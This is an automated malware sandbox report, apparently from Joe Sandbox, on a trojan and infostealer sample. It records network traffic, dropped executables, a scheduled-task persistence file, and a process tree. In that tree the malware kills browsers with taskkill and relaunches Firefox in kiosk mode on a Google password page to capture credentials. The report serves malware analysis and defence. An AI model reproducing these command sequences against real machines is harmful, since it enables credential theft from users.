Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.122.104.90:443 -> 192.168.2.8:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.8:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.8:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50139 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: e65c930c15.exe, 0000000E.00000000.2150193297.00000000007E2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_3441b19c-b
Source: e65c930c15.exe, 0000000E.00000000.2150193297.00000000007E2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_65dbba2a-0
Source: e65c930c15.exe, 00000024.00000000.2356701232.00000000007E2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_2acc3f28-0
Source: e65c930c15.exe, 00000024.00000000.2356701232.00000000007E2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_4b0e45a9-0

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: 1SC0KN6KHBFFEX9LB9FR.exe.0.dr	Static PE information: section name:
Source: 1SC0KN6KHBFFEX9LB9FR.exe.0.dr	Static PE information: section name: .idata
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: section name:
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: section name: .idata
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: section name:
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name:
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name: .rsrc
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name: .idata
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name: .rsrc
Source: random[1].exe.9.dr	Static PE information: section name: .idata
Source: 805c374e44.exe.9.dr	Static PE information: section name:
Source: 805c374e44.exe.9.dr	Static PE information: section name: .rsrc
Source: 805c374e44.exe.9.dr	Static PE information: section name: .idata
Source: random[1].exe0.9.dr	Static PE information: section name:
Source: random[1].exe0.9.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.9.dr	Static PE information: section name: .idata
Source: random[1].exe0.9.dr	Static PE information: section name:
Source: 2de90f6e61.exe.9.dr	Static PE information: section name:
Source: 2de90f6e61.exe.9.dr	Static PE information: section name: .rsrc
Source: 2de90f6e61.exe.9.dr	Static PE information: section name: .idata
Source: 2de90f6e61.exe.9.dr	Static PE information: section name:
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: section name:
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: section name: .idata
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: section name:
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name:
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name: .rsrc
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name: .idata
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name:
Source: 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.12.dr	Static PE information: section name:
Source: 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.12.dr	Static PE information: section name: .idata

PE file has a writeable .text section

Source: num[1].exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011FFDAA	0_3_011FFDAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011F8629	0_3_011F8629
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011FFDAA	0_3_011FFDAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011F8629	0_3_011F8629
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011FFDAA	0_3_011FFDAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011F8629	0_3_011F8629
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011FFDAA	0_3_011FFDAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011F8629	0_3_011F8629

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9995616749174917
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982278184604905
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: Section: dmqydvws ZLIB complexity 0.9944620398210618
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: Section: yquqvagg ZLIB complexity 0.9951088049892703
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9982278184604905
Source: skotes.exe.3.dr	Static PE information: Section: dmqydvws ZLIB complexity 0.9944620398210618
Source: random[1].exe.9.dr	Static PE information: Section: ZLIB complexity 0.9995616749174917
Source: 805c374e44.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9995616749174917
Source: random[1].exe0.9.dr	Static PE information: Section: yquqvagg ZLIB complexity 0.9951088049892703
Source: 2de90f6e61.exe.9.dr	Static PE information: Section: yquqvagg ZLIB complexity 0.9951088049892703
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9982278184604905
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: Section: dmqydvws ZLIB complexity 0.9944620398210618
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: Section: yquqvagg ZLIB complexity 0.9951088049892703

Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1832002516.0000000000FE1000.00000040.00000001.01000000.00000008.sdmp, LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000003.1742502853.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, 2de90f6e61.exe, 0000000D.00000002.2156064791.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, 2de90f6e61.exe, 0000000D.00000003.2114768262.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2216380169.0000000000F2E000.00000002.00000001.01000000.00000018.sdmp, num.exe, 0000001F.00000000.2199971570.0000000000F2E000.00000002.00000001.01000000.00000018.sdmp, 2de90f6e61.exe, 00000021.00000003.2284540451.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, 2de90f6e61.exe, 00000021.00000002.2377672414.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, DC91U752866P4RTKEWI6.exe, 00000023.00000002.2481601869.00000000001F1000.00000040.00000001.01000000.0000001D.sdmp, DC91U752866P4RTKEWI6.exe, 00000023.00000003.2347254585.0000000004B90000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@74/28@79/13

Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe

Code function: 7_2_053115D0 ChangeServiceConfigA,

7_2_053115D0

Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\T1R11081.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5588:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6212:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6072:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1577261347.0000000005B3A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557983131.0000000005B57000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1558242571.0000000005B3A000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2101919263.00000000055EF000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2115127535.0000000005615000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102196722.00000000055D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: firefox.exe, 0000001B.00000002.2441868523.000001BAAFC6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE moz_places SET foreign_count = foreign_count + 1 WHERE id = NEW.place_id;

Source: file.exe

ReversingLabs: Detection: 36%

Source: R35D5PNQKQVRTA7D.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: LDYMRYSK15TF568PLM3O1A8XS.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 1SC0KN6KHBFFEX9LB9FR.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: ]RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeU

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe "C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe "C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe"
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe "C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe "C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe "C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe "C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe"
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe "C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2296 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2208 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {34b6ca91-56d8-413a-88d7-ee30912c0c14} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 1ba9f06e710 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000779001\num.exe "C:\Users\user\AppData\Local\Temp\1000779001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4468 -parentBuildID 20230927232528 -prefsHandle 4460 -prefMapHandle 4456 -prefsLen 26313 -prefMapSize 238442 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c5273e2e-201f-4d21-b74a-5307ad1e4b40} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 1bab1427e10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe "C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe"
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process created: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe "C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe"
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process created: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe "C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe"
